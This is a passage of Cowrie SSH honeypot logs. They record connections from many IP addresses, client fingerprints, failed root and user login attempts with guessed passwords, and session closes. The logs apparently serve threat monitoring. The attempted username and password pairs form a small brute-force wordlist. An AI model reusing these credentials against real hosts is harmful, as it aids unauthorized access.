@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:00:32.450048Z","src_ip":"103.86.198.253","session":"f123e0c6ed9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.abc","message":"login attempt [root/123.abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:00:33.538453Z","src_ip":"103.86.198.253","session":"f123e0c6ed9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:00:34.803988Z","src_ip":"103.86.198.253","session":"f123e0c6ed9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.5.224","src_port":47066,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0c39b44a7d1","protocol":"ssh","message":"New connection: 162.214.5.224:47066 (159.203.135.109:22) [session: d0c39b44a7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:00:55.914649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:00:55.918848Z","src_ip":"162.214.5.224","session":"d0c39b44a7d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:00:56.009494Z","src_ip":"162.214.5.224","session":"d0c39b44a7d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gavin_wood","password":"123456789","message":"login attempt [gavin_wood/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:00:56.293547Z","src_ip":"162.214.5.224","session":"d0c39b44a7d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:00:57.385542Z","src_ip":"162.214.5.224","session":"d0c39b44a7d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46986,"dst_ip":"159.203.135.109","dst_port":22,"session":"516961153e3b","protocol":"ssh","message":"New connection: 77.94.47.83:46986 (159.203.135.109:22) [session: 516961153e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:00.821753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:00.829528Z","src_ip":"77.94.47.83","session":"516961153e3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:00.939648Z","src_ip":"77.94.47.83","session":"516961153e3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pickup","message":"login attempt [root/pickup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:01.273732Z","src_ip":"77.94.47.83","session":"516961153e3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":44828,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d04f8c76f57","protocol":"ssh","message":"New connection: 143.20.185.207:44828 (159.203.135.109:22) [session: 0d04f8c76f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:01.520209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:01.533161Z","src_ip":"143.20.185.207","session":"0d04f8c76f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:01.648881Z","src_ip":"143.20.185.207","session":"0d04f8c76f57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSAVPS8VCPU16GBAMD","message":"login attempt [root/RASYAXINSAVPS8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:02.117011Z","src_ip":"143.20.185.207","session":"0d04f8c76f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:02.388891Z","src_ip":"77.94.47.83","session":"516961153e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:03.234267Z","src_ip":"143.20.185.207","session":"0d04f8c76f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":52450,"dst_ip":"10.17.0.5","dst_port":22,"session":"74690427a436","protocol":"ssh","message":"New connection: 91.92.40.176:52450 (10.17.0.5:22) [session: 74690427a436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:04.970644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:04.979247Z","src_ip":"91.92.40.176","session":"74690427a436","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:05.059865Z","src_ip":"91.92.40.176","session":"74690427a436","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@123","message":"login attempt [user/user@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:05.313070Z","src_ip":"91.92.40.176","session":"74690427a436","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:06.401726Z","src_ip":"91.92.40.176","session":"74690427a436","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":48402,"dst_ip":"159.203.135.109","dst_port":22,"session":"998250f909a3","protocol":"ssh","message":"New connection: 31.179.197.26:48402 (159.203.135.109:22) [session: 998250f909a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:09.727728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:09.731899Z","src_ip":"31.179.197.26","session":"998250f909a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:09.847570Z","src_ip":"31.179.197.26","session":"998250f909a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openx","password":"openx","message":"login attempt [openx/openx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:10.346793Z","src_ip":"31.179.197.26","session":"998250f909a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:11.467883Z","src_ip":"31.179.197.26","session":"998250f909a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":54363,"dst_ip":"10.17.0.5","dst_port":22,"session":"8813405d8379","protocol":"ssh","message":"New connection: 103.248.120.6:54363 (10.17.0.5:22) [session: 8813405d8379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:14.448073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:14.456280Z","src_ip":"103.248.120.6","session":"8813405d8379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:14.677831Z","src_ip":"103.248.120.6","session":"8813405d8379","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dupadupa","message":"login attempt [root/dupadupa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:15.597928Z","src_ip":"103.248.120.6","session":"8813405d8379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:17.339943Z","src_ip":"103.248.120.6","session":"8813405d8379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":39370,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a3461a41613","protocol":"ssh","message":"New connection: 162.241.239.202:39370 (10.17.0.5:22) [session: 0a3461a41613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:32.305856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:32.309604Z","src_ip":"162.241.239.202","session":"0a3461a41613","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:32.334848Z","src_ip":"162.241.239.202","session":"0a3461a41613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starknet123","message":"login attempt [root/starknet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:32.409171Z","src_ip":"162.241.239.202","session":"0a3461a41613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:33.436412Z","src_ip":"162.241.239.202","session":"0a3461a41613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":49972,"dst_ip":"10.17.0.5","dst_port":22,"session":"69f21fac70b4","protocol":"ssh","message":"New connection: 190.244.39.224:49972 (10.17.0.5:22) [session: 69f21fac70b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:48.379078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:48.386836Z","src_ip":"190.244.39.224","session":"69f21fac70b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:48.559365Z","src_ip":"190.244.39.224","session":"69f21fac70b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a7758258","message":"login attempt [root/a7758258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:49.258302Z","src_ip":"190.244.39.224","session":"69f21fac70b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:01:50.435537Z","src_ip":"190.244.39.224","session":"69f21fac70b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.57.219.18","src_port":41454,"dst_ip":"10.17.0.5","dst_port":22,"session":"088901b19752","protocol":"ssh","message":"New connection: 198.57.219.18:41454 (10.17.0.5:22) [session: 088901b19752]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:02:08.120355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:02:08.124111Z","src_ip":"198.57.219.18","session":"088901b19752","protocol":"ssh"}
